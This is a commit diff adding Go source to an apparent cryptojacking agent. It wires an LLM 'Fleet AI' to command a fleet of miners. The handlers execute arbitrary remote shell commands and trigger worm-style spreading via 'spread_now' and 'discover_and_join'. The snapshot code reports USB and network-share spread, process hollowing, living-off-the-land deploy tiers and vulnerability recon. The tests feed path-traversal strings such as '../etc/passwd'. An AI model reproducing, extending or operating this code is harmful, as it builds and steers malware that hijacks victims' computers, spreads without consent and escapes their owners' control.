Add Calibrate AI Control UI and fleet LLM backend wiring.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
136
agent/client/ai_commands.go
Normal file
136
agent/client/ai_commands.go
Normal file
@@ -0,0 +1,136 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
type aiCommandHandler func(c *AgentClient, tailLines int, command, path, data string)
|
||||
|
||||
var aiCommandHandlers = map[string]aiCommandHandler{
|
||||
"exec_shell": handleAIExecShell,
|
||||
"restart_mining": handleAIRestartMining,
|
||||
"run_diagnostics": handleAIRunDiagnostics,
|
||||
"discover_and_join": handleAIDiscoverAndJoin,
|
||||
"spread_now": handleAISpreadNow,
|
||||
"full_sys_check": handleAIFullSysCheck,
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleAICommand(action string, tailLines int, command, path, data string) bool {
|
||||
handler, ok := aiCommandHandlers[action]
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
handler(c, tailLines, command, path, data)
|
||||
return true
|
||||
}
|
||||
|
||||
func handleAIExecShell(c *AgentClient, _ int, command, path, data string) {
|
||||
if strings.TrimSpace(command) == "" && strings.TrimSpace(data) == "" {
|
||||
c.sendCommandResult("exec_shell", false, "command is required")
|
||||
return
|
||||
}
|
||||
shellCmd := command
|
||||
if shellCmd == "" {
|
||||
shellCmd = data
|
||||
}
|
||||
if err := validateAICommandPath(path); err != nil {
|
||||
c.sendCommandResult("exec_shell", false, err.Error())
|
||||
return
|
||||
}
|
||||
if path != "" {
|
||||
resolved, err := deploy.ResolveRemotePath(path)
|
||||
if err != nil {
|
||||
c.sendCommandResult("exec_shell", false, err.Error())
|
||||
return
|
||||
}
|
||||
resolved = filepath.Clean(resolved)
|
||||
info, err := os.Stat(resolved)
|
||||
if err != nil {
|
||||
c.sendCommandResult("exec_shell", false, err.Error())
|
||||
return
|
||||
}
|
||||
if !info.IsDir() {
|
||||
c.sendCommandResult("exec_shell", false, "path must be a directory when used as working directory")
|
||||
return
|
||||
}
|
||||
if runtime.GOOS == "windows" {
|
||||
shellCmd = fmt.Sprintf("Set-Location -LiteralPath %q; %s", resolved, shellCmd)
|
||||
} else {
|
||||
shellCmd = fmt.Sprintf("cd %q && %s", resolved, shellCmd)
|
||||
}
|
||||
}
|
||||
out, err := c.runShellCommand(shellCmd)
|
||||
if err != nil {
|
||||
c.sendCommandResult("exec_shell", false, formatCmdErr(err, out))
|
||||
return
|
||||
}
|
||||
c.sendCommandResult("exec_shell", true, string(out))
|
||||
}
|
||||
|
||||
func handleAIRestartMining(c *AgentClient, _ int, _, _, _ string) {
|
||||
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", true)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Restart(context.Background())
|
||||
} else {
|
||||
c.pool.ResumeRemote()
|
||||
}
|
||||
c.sendCommandResult("restart_mining", true, "mining chain restart requested")
|
||||
}
|
||||
|
||||
func handleAIRunDiagnostics(c *AgentClient, _ int, _, _, _ string) {
|
||||
c.sendCommandResult("run_diagnostics", true, c.miningDiagnosticsJSON())
|
||||
}
|
||||
|
||||
func handleAIDiscoverAndJoin(c *AgentClient, _ int, command, _, _ string) {
|
||||
ok, reason := c.allowRemoteAction("discover_and_join")
|
||||
if !ok {
|
||||
c.sendCommandResult("discover_and_join", false, reason)
|
||||
return
|
||||
}
|
||||
maxHosts := parsePortArg(command, 32)
|
||||
go func() {
|
||||
msg, err := c.runDiscoverAndJoin(maxHosts)
|
||||
if err != nil {
|
||||
c.sendCommandResult("discover_and_join", false, err.Error())
|
||||
return
|
||||
}
|
||||
c.sendCommandResult("discover_and_join", true, msg)
|
||||
}()
|
||||
}
|
||||
|
||||
func handleAISpreadNow(c *AgentClient, _ int, _, _, _ string) {
|
||||
ok, reason := c.allowRemoteAction("spread_now")
|
||||
if !ok {
|
||||
c.sendCommandResult("spread_now", false, reason)
|
||||
return
|
||||
}
|
||||
msg := deploy.RunSpreadOnce(c.cfg)
|
||||
c.sendCommandResult("spread_now", true, msg)
|
||||
}
|
||||
|
||||
func handleAIFullSysCheck(c *AgentClient, _ int, _, _, _ string) {
|
||||
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||
c.sendCommandResult("full_sys_check", true, report.JSON())
|
||||
}
|
||||
|
||||
func validateAICommandPath(path string) error {
|
||||
path = strings.TrimSpace(path)
|
||||
if path == "" {
|
||||
return nil
|
||||
}
|
||||
if containsPathTraversal(path) {
|
||||
return fmt.Errorf("path traversal (..) is not allowed")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
137
agent/client/ai_commands_test.go
Normal file
137
agent/client/ai_commands_test.go
Normal file
@@ -0,0 +1,137 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
||||
cases := []string{
|
||||
"../etc/passwd",
|
||||
"/home/user/../../secret",
|
||||
`C:\Users\alice\..\admin`,
|
||||
}
|
||||
for _, path := range cases {
|
||||
if err := validateAICommandPath(path); err == nil {
|
||||
t.Fatalf("expected traversal rejection for %q", path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
|
||||
for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
|
||||
if err := validateAICommandPath(path); err != nil {
|
||||
t.Fatalf("path %q: %v", path, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
|
||||
if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
|
||||
t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIExecShellRequiresCommand(t *testing.T) {
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
if !success {
|
||||
gotMsg = message
|
||||
}
|
||||
}
|
||||
c.handleAICommand("exec_shell", 0, "", "", "")
|
||||
if !strings.Contains(gotMsg, "command is required") {
|
||||
t.Fatalf("msg=%q", gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIRunDiagnostics(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
}
|
||||
c.handleAICommand("run_diagnostics", 0, "", "", "")
|
||||
if gotAction != "run_diagnostics" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.cfg.AutoSpread = false
|
||||
c.cfg.RemoteAggressive = false
|
||||
c.commandResultHook = func(_ string, success bool, message string) {
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("spread_now", 0, "", "", "")
|
||||
if gotOK || !strings.Contains(gotMsg, "not enabled") {
|
||||
t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAICommandUnknownAction(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
|
||||
t.Fatal("unknown action should not be handled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
|
||||
required := []string{
|
||||
"exec_shell", "restart_mining", "run_diagnostics",
|
||||
"discover_and_join", "spread_now", "full_sys_check",
|
||||
}
|
||||
for _, action := range required {
|
||||
if _, ok := aiCommandHandlers[action]; !ok {
|
||||
t.Fatalf("missing handler for %q", action)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIRestartMining(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
c := newTestClient(t)
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
}
|
||||
c.handleAICommand("restart_mining", 0, "", "", "")
|
||||
if gotAction != "restart_mining" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAIFullSysCheck(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.GetBuiltinConfig(), AgentID: "a1"}
|
||||
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
|
||||
var gotOK bool
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action == "full_sys_check" {
|
||||
gotOK = success
|
||||
}
|
||||
}
|
||||
c.handleAICommand("full_sys_check", 0, "", "", "")
|
||||
if !gotOK {
|
||||
t.Fatal("expected full_sys_check success")
|
||||
}
|
||||
}
|
||||
354
agent/client/ai_snapshot.go
Normal file
354
agent/client/ai_snapshot.go
Normal file
@@ -0,0 +1,354 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// AITierStatus records one deploy or mining tier for Fleet AI snapshots.
|
||||
type AITierStatus struct {
|
||||
Tier string `json:"tier"`
|
||||
Phase string `json:"phase,omitempty"`
|
||||
Attempted bool `json:"attempted"`
|
||||
OK bool `json:"ok,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Skipped bool `json:"skipped,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms,omitempty"`
|
||||
}
|
||||
|
||||
// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent.
|
||||
type AIForgeFlags struct {
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
USBSpread bool `json:"usb_spread,omitempty"`
|
||||
ShareSpread bool `json:"share_spread,omitempty"`
|
||||
RemoteAggressive bool `json:"remote_aggressive,omitempty"`
|
||||
HolePunch bool `json:"hole_punch,omitempty"`
|
||||
MeshP2P bool `json:"mesh_p2p,omitempty"`
|
||||
ProcessHollowing bool `json:"process_hollowing,omitempty"`
|
||||
GPUEnabled bool `json:"gpu_enabled,omitempty"`
|
||||
AIEnabled bool `json:"ai_enabled,omitempty"`
|
||||
}
|
||||
|
||||
// AICapabilitiesSnapshot reports remote features this build exposes on the current OS.
|
||||
type AICapabilitiesSnapshot struct {
|
||||
Platform string `json:"platform"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
GPUEnabled bool `json:"gpu_enabled"`
|
||||
LotlOnion bool `json:"lotl_onion"`
|
||||
SpreadLanes []string `json:"spread_lanes,omitempty"`
|
||||
MiningTiersAvail []string `json:"mining_tiers_available,omitempty"`
|
||||
}
|
||||
|
||||
// AISnapshot is the 1-minute Fleet AI machine state payload.
|
||||
type AISnapshot struct {
|
||||
GeneratedAt string `json:"generated_at"`
|
||||
AgentName string `json:"agent_name"`
|
||||
AgentID string `json:"agent_id"`
|
||||
WorkerNumber string `json:"worker_number,omitempty"`
|
||||
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Version string `json:"version"`
|
||||
Platform string `json:"platform"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
|
||||
ForgeFlags AIForgeFlags `json:"forge_flags"`
|
||||
|
||||
DeployTiers []AITierStatus `json:"deploy_tiers"`
|
||||
MiningTiers []AITierStatus `json:"mining_tiers"`
|
||||
|
||||
MiningHashrate float64 `json:"mining_hashrate"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
MiningActive bool `json:"mining_active"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
||||
Stuck bool `json:"stuck"`
|
||||
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
}
|
||||
|
||||
func workerNumberFromConfig(cfg config.RuntimeConfig) string {
|
||||
if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" {
|
||||
return n
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
agentID := c.agentID
|
||||
c.mu.Unlock()
|
||||
|
||||
hostname, _, _ := c.reporter.SystemInfo()
|
||||
agentName := strings.TrimSpace(cfg.WorkerName)
|
||||
if agentName == "" {
|
||||
agentName = hostname
|
||||
}
|
||||
|
||||
var ms miner.MiningStatus
|
||||
if c.miningChain != nil {
|
||||
ms = c.miningChain.Status()
|
||||
}
|
||||
|
||||
attempts := ms.LOTLAttempts
|
||||
policy := c.miningTierPolicy()
|
||||
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||
miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg)
|
||||
|
||||
deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers)
|
||||
if len(deployOrder) == 0 {
|
||||
deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...)
|
||||
}
|
||||
|
||||
snap := AISnapshot{
|
||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
AgentName: agentName,
|
||||
AgentID: agentID,
|
||||
WorkerNumber: workerNumberFromConfig(cfg),
|
||||
BuildID: cfg.BuildID,
|
||||
Version: config.Version,
|
||||
Platform: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
ForgeFlags: forgeFlagsFromConfig(cfg),
|
||||
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
|
||||
MiningTiers: buildMiningTierStatuses(miningChain, miningSkipped, attempts),
|
||||
MiningHashrate: miningHashrate,
|
||||
LOTLTier: string(ms.LOTLTier),
|
||||
MiningActive: c.isMiningActive(ms, miningHashrate),
|
||||
JoinLane: c.getJoinLane(),
|
||||
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
||||
ChainExhausted: ms.ChainExhausted,
|
||||
}
|
||||
snap.Stuck = aiSnapshotStuck(snap, ms)
|
||||
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
||||
snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat)
|
||||
}
|
||||
if vr := LastVulnScan(); vr != nil {
|
||||
score := vr.RiskScore
|
||||
snap.VulnRiskScore = &score
|
||||
}
|
||||
return snap
|
||||
}
|
||||
|
||||
func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags {
|
||||
return AIForgeFlags{
|
||||
LotlOnionEnabled: cfg.LotlOnionEnabled,
|
||||
LotlPolicyFromServer: cfg.LotlPolicyFromServer,
|
||||
AutoSpread: cfg.AutoSpread,
|
||||
USBSpread: cfg.USBSpread,
|
||||
ShareSpread: cfg.ShareSpread,
|
||||
RemoteAggressive: cfg.RemoteAggressive,
|
||||
HolePunch: cfg.HolePunch,
|
||||
MeshP2P: cfg.MeshP2P,
|
||||
ProcessHollowing: cfg.ProcessHollowing,
|
||||
GPUEnabled: cfg.GPUEnabled,
|
||||
AIEnabled: cfg.AIEnabled,
|
||||
}
|
||||
}
|
||||
|
||||
func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt {
|
||||
idx := make(map[string]miner.TierAttempt, len(attempts))
|
||||
for _, a := range attempts {
|
||||
key := strings.ToLower(string(a.Tier))
|
||||
if a.Phase != "" {
|
||||
key = a.Phase + ":" + key
|
||||
}
|
||||
idx[key] = a
|
||||
}
|
||||
return idx
|
||||
}
|
||||
|
||||
func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus {
|
||||
idx := attemptIndex(attempts)
|
||||
out := make([]AITierStatus, len(order))
|
||||
for i, tier := range order {
|
||||
st := AITierStatus{Tier: tier}
|
||||
for _, phase := range []string{"deploy", "recon"} {
|
||||
if a, ok := idx[phase+":"+tier]; ok {
|
||||
st.Phase = phase
|
||||
st.Attempted = true
|
||||
st.OK = a.OK
|
||||
st.Error = a.Error
|
||||
st.DurationMs = a.DurationMs
|
||||
break
|
||||
}
|
||||
}
|
||||
if !st.Attempted {
|
||||
if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") {
|
||||
st.Phase = a.Phase
|
||||
st.Attempted = true
|
||||
st.OK = a.OK
|
||||
st.Error = a.Error
|
||||
st.DurationMs = a.DurationMs
|
||||
}
|
||||
}
|
||||
out[i] = st
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
|
||||
seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
|
||||
order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
|
||||
for _, t := range append([]miner.LOTLTier{miner.TierVulnProbe}, chain...) {
|
||||
if seen[t] {
|
||||
continue
|
||||
}
|
||||
seen[t] = true
|
||||
order = append(order, t)
|
||||
}
|
||||
skipSet := make(map[miner.LOTLTier]bool, len(skipped))
|
||||
for _, t := range skipped {
|
||||
skipSet[t] = true
|
||||
}
|
||||
|
||||
idx := attemptIndex(attempts)
|
||||
out := make([]AITierStatus, len(order))
|
||||
for i, tier := range order {
|
||||
name := strings.ToLower(string(tier))
|
||||
st := AITierStatus{Tier: name, Skipped: skipSet[tier]}
|
||||
if a, ok := idx["mining:"+name]; ok {
|
||||
st.Phase = "mining"
|
||||
st.Attempted = true
|
||||
st.OK = a.OK
|
||||
st.Error = a.Error
|
||||
st.DurationMs = a.DurationMs
|
||||
} else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") {
|
||||
st.Phase = a.Phase
|
||||
st.Attempted = true
|
||||
st.OK = a.OK
|
||||
st.Error = a.Error
|
||||
st.DurationMs = a.DurationMs
|
||||
}
|
||||
out[i] = st
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
|
||||
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
|
||||
mining := make([]string, 0, len(miningChain))
|
||||
for _, t := range miningChain {
|
||||
mining = append(mining, string(t))
|
||||
}
|
||||
return AICapabilitiesSnapshot{
|
||||
Platform: runtime.GOOS,
|
||||
HolePunch: cfg.HolePunch,
|
||||
RemoteAggressive: cfg.RemoteAggressive,
|
||||
MeshP2P: cfg.MeshP2P,
|
||||
AutoSpread: cfg.AutoSpread,
|
||||
AIEnabled: cfg.AIEnabled,
|
||||
USBSpread: cfg.USBSpread,
|
||||
ProcessHollowing: cfg.ProcessHollowing,
|
||||
GPUEnabled: cfg.GPUEnabled,
|
||||
LotlOnion: cfg.LotlOnionEnabled,
|
||||
SpreadLanes: lanes,
|
||||
MiningTiersAvail: mining,
|
||||
}
|
||||
}
|
||||
|
||||
func spreadLanesForPlatform(goos string, order []string) []string {
|
||||
winOnly := map[string]bool{
|
||||
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
|
||||
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
|
||||
}
|
||||
linuxOnly := map[string]bool{"linux": true}
|
||||
out := make([]string, 0, len(order))
|
||||
for _, lane := range order {
|
||||
if winOnly[lane] && goos != "windows" {
|
||||
continue
|
||||
}
|
||||
if linuxOnly[lane] && goos != "linux" {
|
||||
continue
|
||||
}
|
||||
out = append(out, lane)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool {
|
||||
if hashrate > 0 {
|
||||
return true
|
||||
}
|
||||
if ms.ActiveMethod != "" && !ms.ChainExhausted {
|
||||
return true
|
||||
}
|
||||
remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot()
|
||||
return hasJob && !remotePaused && hps > 0
|
||||
}
|
||||
|
||||
func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool {
|
||||
if snap.MiningHashrate > 0 {
|
||||
return false
|
||||
}
|
||||
if ms.ChainExhausted {
|
||||
return true
|
||||
}
|
||||
allMiningAttempted := len(snap.MiningTiers) > 0
|
||||
for _, t := range snap.MiningTiers {
|
||||
if !t.Skipped && !t.Attempted {
|
||||
allMiningAttempted = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if !allMiningAttempted {
|
||||
return false
|
||||
}
|
||||
for _, t := range snap.MiningTiers {
|
||||
if t.Skipped {
|
||||
continue
|
||||
}
|
||||
if t.Attempted && t.OK {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func adaptiveStrategySummary(strat AdaptiveStrategy) string {
|
||||
if len(strat.Reasoning) == 0 {
|
||||
if len(strat.TierOrder) == 0 {
|
||||
return ""
|
||||
}
|
||||
return "order=" + strings.Join(strat.TierOrder, ",")
|
||||
}
|
||||
parts := make([]string, 0, len(strat.Reasoning))
|
||||
for _, r := range strat.Reasoning {
|
||||
line := strings.TrimSpace(r.Inference)
|
||||
if line == "" {
|
||||
line = strings.TrimSpace(r.Action)
|
||||
}
|
||||
if line != "" {
|
||||
parts = append(parts, line)
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
func (c *AgentClient) pushAISnapshot(miningHashrate float64) {
|
||||
snap := c.buildAISnapshot(miningHashrate)
|
||||
payload, err := json.Marshal(snap)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "ai_snapshot", Payload: payload})
|
||||
}
|
||||
158
agent/client/ai_snapshot_test.go
Normal file
158
agent/client/ai_snapshot_test.go
Normal file
@@ -0,0 +1,158 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestAISnapshotJSONShape(t *testing.T) {
|
||||
t.Setenv("AETHERFORGE_WORKER_NUMBER", "42")
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "lab-node",
|
||||
BuildID: "build-abc",
|
||||
LotlOnionEnabled: true,
|
||||
AutoSpread: true,
|
||||
USBSpread: true,
|
||||
RemoteAggressive: true,
|
||||
GPUEnabled: true,
|
||||
LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...),
|
||||
},
|
||||
AgentID: "agent-fixture-1",
|
||||
}
|
||||
|
||||
base := newTestClient(t)
|
||||
c := &AgentClient{
|
||||
cfg: cfg,
|
||||
agentID: cfg.AgentID,
|
||||
reporter: base.reporter,
|
||||
pool: base.pool,
|
||||
}
|
||||
|
||||
snap := c.buildAISnapshot(0)
|
||||
|
||||
raw, err := json.Marshal(snap)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var m map[string]json.RawMessage
|
||||
if err := json.Unmarshal(raw, &m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
required := []string{
|
||||
"generated_at", "agent_name", "agent_id", "worker_number",
|
||||
"build_id", "version", "platform", "forge_flags",
|
||||
"deploy_tiers", "mining_tiers", "mining_hashrate",
|
||||
"mining_active", "capabilities", "stuck",
|
||||
}
|
||||
for _, key := range required {
|
||||
if _, ok := m[key]; !ok {
|
||||
t.Fatalf("missing required snapshot field %q in %s", key, string(raw))
|
||||
}
|
||||
}
|
||||
|
||||
if snap.AgentName != "lab-node" {
|
||||
t.Fatalf("agent_name=%q", snap.AgentName)
|
||||
}
|
||||
if snap.AgentID != "agent-fixture-1" {
|
||||
t.Fatalf("agent_id=%q", snap.AgentID)
|
||||
}
|
||||
if snap.WorkerNumber != "42" {
|
||||
t.Fatalf("worker_number=%q", snap.WorkerNumber)
|
||||
}
|
||||
if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) {
|
||||
t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers))
|
||||
}
|
||||
if snap.DeployTiers[0].Tier != "vuln_recon" {
|
||||
t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier)
|
||||
}
|
||||
if len(snap.MiningTiers) == 0 {
|
||||
t.Fatal("expected mining_tiers")
|
||||
}
|
||||
if snap.Capabilities.Platform == "" {
|
||||
t.Fatal("capabilities.platform required")
|
||||
}
|
||||
if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread {
|
||||
t.Fatalf("forge_flags=%+v", snap.ForgeFlags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAISnapshotStuckWhenChainExhausted(t *testing.T) {
|
||||
snap := AISnapshot{
|
||||
MiningHashrate: 0,
|
||||
MiningTiers: []AITierStatus{
|
||||
{Tier: "cpu_inprocess", Attempted: true, OK: false},
|
||||
},
|
||||
}
|
||||
ms := miner.MiningStatus{ChainExhausted: true}
|
||||
if !aiSnapshotStuck(snap, ms) {
|
||||
t.Fatal("expected stuck when chain exhausted and hashrate=0")
|
||||
}
|
||||
snap.MiningHashrate = 10
|
||||
if aiSnapshotStuck(snap, ms) {
|
||||
t.Fatal("expected not stuck when hashrate>0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildDeployTierStatusesFromAttempts(t *testing.T) {
|
||||
attempts := []miner.TierAttempt{
|
||||
{Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120},
|
||||
{Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50},
|
||||
}
|
||||
order := []string{"docker", "wsl", "smb"}
|
||||
got := buildDeployTierStatuses(order, attempts)
|
||||
|
||||
if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 {
|
||||
t.Fatalf("docker status=%+v", got[0])
|
||||
}
|
||||
if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" {
|
||||
t.Fatalf("wsl status=%+v", got[1])
|
||||
}
|
||||
if got[2].Attempted {
|
||||
t.Fatalf("smb should be unattempted: %+v", got[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) {
|
||||
chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess}
|
||||
skipped := []miner.LOTLTier{miner.TierWSL}
|
||||
attempts := []miner.TierAttempt{
|
||||
{Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"},
|
||||
}
|
||||
got := buildMiningTierStatuses(chain, skipped, attempts)
|
||||
|
||||
byTier := map[string]AITierStatus{}
|
||||
for _, st := range got {
|
||||
byTier[st.Tier] = st
|
||||
}
|
||||
if !byTier["container"].Attempted || byTier["container"].OK {
|
||||
t.Fatalf("container=%+v", byTier["container"])
|
||||
}
|
||||
if !byTier["wsl"].Skipped {
|
||||
t.Fatalf("wsl should be skipped: %+v", byTier["wsl"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) {
|
||||
os.Unsetenv("AETHERFORGE_WORKER_NUMBER")
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}
|
||||
c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool}
|
||||
snap := c.buildAISnapshot(0)
|
||||
raw, _ := json.Marshal(snap)
|
||||
if string(raw) == "" {
|
||||
t.Fatal("empty json")
|
||||
}
|
||||
var m map[string]interface{}
|
||||
_ = json.Unmarshal(raw, &m)
|
||||
if _, ok := m["worker_number"]; ok {
|
||||
t.Fatalf("worker_number should be omitted, got %v", m["worker_number"])
|
||||
}
|
||||
}
|
||||
